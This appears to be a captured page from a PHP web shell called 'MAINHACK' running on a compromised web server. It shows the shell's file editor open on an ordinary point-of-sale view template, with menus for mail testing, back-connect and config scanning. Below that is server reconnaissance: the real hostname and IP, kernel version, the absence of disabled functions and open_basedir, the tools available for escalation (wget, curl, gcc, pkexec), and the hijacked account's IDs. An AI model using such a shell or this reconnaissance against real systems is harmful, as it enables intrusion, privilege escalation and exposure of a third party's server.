[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: outlets.php
<div class="main-content-wrapper"> <?php $is_collapse = $this->session->userdata('is_collapse'); ?> <?php if ($this->session->flashdata('exception')) { echo '<section class="alert-wrapper"><div class="alert alert-success alert-dismissible fade show"> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-hidden="true"></button> <div class="alert-body"><i class="icon fa fa-check me-2"></i>'; echo escape_output($this->session->flashdata('exception'));unset($_SESSION['exception']); echo '</div></div></section>'; } if ($this->session->flashdata('exception_2')) { echo '<section class="alert-wrapper"><div class="alert alert-danger alert-dismissible fade show"> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-hidden="true"></button> <div class="alert-body"><i class="icon fa fa-times me-2"></i>'; echo ($this->session->flashdata('exception_2'));unset($_SESSION['exception_2']); echo '</div></div></section>'; } ?> <section class="content-header"> <div class="row justify-content-between"> <div class="col-6 p-0"> <h3 class="top-left-header mt-2"><?php echo lang('list_outlet'); ?></h3> </div> <?php $this->view('updater/breadcrumb', ['firstSection'=> lang('outlet'), 'secondSection'=> lang('list_outlet')])?> </div> </section> <div class="row"> <?php if($outlets){ foreach ($outlets as $value) { ?> <div class="col-12 col-sm-6 mb-3 col-md-6 col-lg-4 col-xl-4"> <div class="outlet-box text-center"> <div class="outlet_main_icon"> <iconify-icon icon="solar:shop-2-broken" class="outlet_main_icon"></iconify-icon> </div> <h3 dir="ltr" class="title"> <?php echo escape_output($value->outlet_name) . " "; ?></h3> <?php if($value->outlet_code){ ?> <h4 dir="ltr" class="outlet_phone"> <?php echo lang('outlet_code'); ?>: <?php echo escape_output($value->outlet_code); ?></h4> <?php } ?> <?php if($value->address){ ?> <h4 dir="ltr" class="outlet_phone"> <?php echo lang('address'); ?>: <?php echo escape_output($value->address); ?></h4> <?php } ?> <?php if($value->phone){ ?> <h4 dir="ltr" class="outlet_phone"><?php echo lang('phone'); ?>: <?php echo escape_output($value->phone); ?> </h4> <?php } ?> <?php if($value->email){ ?> <h4 dir="ltr" class="outlet_phone"> <?php echo lang('email'); ?>: <?php echo escape_output($value->email); ?> </h4> <?php } ?> <div class="btn_box"> <a class="bg-blue-btn btn" href="<?php echo base_url() ?>Outlet/addEditOutlet/<?php echo escape_output($this->custom->encrypt_decrypt($value->id, 'encrypt')); ?>"> <iconify-icon icon="solar:pen-new-round-broken" class="me-2"></iconify-icon> <?php echo lang('edit'); ?> </a> <a class="bg-red-btn btn delete-color outlet_delete" href="<?php echo base_url() ?>Outlet/deleteOutlet/<?php echo escape_output($this->custom->encrypt_decrypt($value->id, 'encrypt')); ?>"> <iconify-icon icon="solar:trash-bin-minimalistic-broken" class="me-2"></iconify-icon> <?php echo lang('delete'); ?> </a> <div data-status="<?php echo isset($is_collapse) && $is_collapse == "No" ? '2' : '1'?>" class="outlet_responsive outlet_large enter_outlet <?php echo isset($is_collapse) && $is_collapse == "No" ? 'd-none' : 'd-block'?>"> <a class="bg-blue-btn btn" href="<?php echo base_url(); ?>Outlet/setOutletSession/<?php echo escape_output($this->custom->encrypt_decrypt($value->id, 'encrypt')); ?>"> <div class="d-flex align-items-center justify-content-center"> <iconify-icon icon="solar:forward-2-broken" class="me-2"></iconify-icon> <?php echo lang('enter'); ?> </div> </a> </div> </div> <div data-status="<?php echo isset($is_collapse) && $is_collapse == "No" ? '2' : '1'?>" class="outlet_responsive outlet_small op_margin_top_10 <?php echo isset($is_collapse) && $is_collapse == "No" ? 'd-block' : 'd-none'?>"> <a class="bg-blue-btn btn" href="<?php echo base_url(); ?>Outlet/setOutletSession/<?php echo escape_output($this->custom->encrypt_decrypt($value->id, 'encrypt')); ?>"> <d class="flex align-items-center justify-content-center"> <iconify-icon icon="solar:forward-2-broken" class="me-2"></iconify-icon> <?php echo lang('enter'); ?> </d> </a> </div> </div> </div> <?php } } ?> </div> </div> <script> $(document).ready(function () { setTimeout(function() { let length = $('.enter_outlet').length; if(length == 1){ $('.enter_outlet a')[0].click(); } }, 200); }); </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002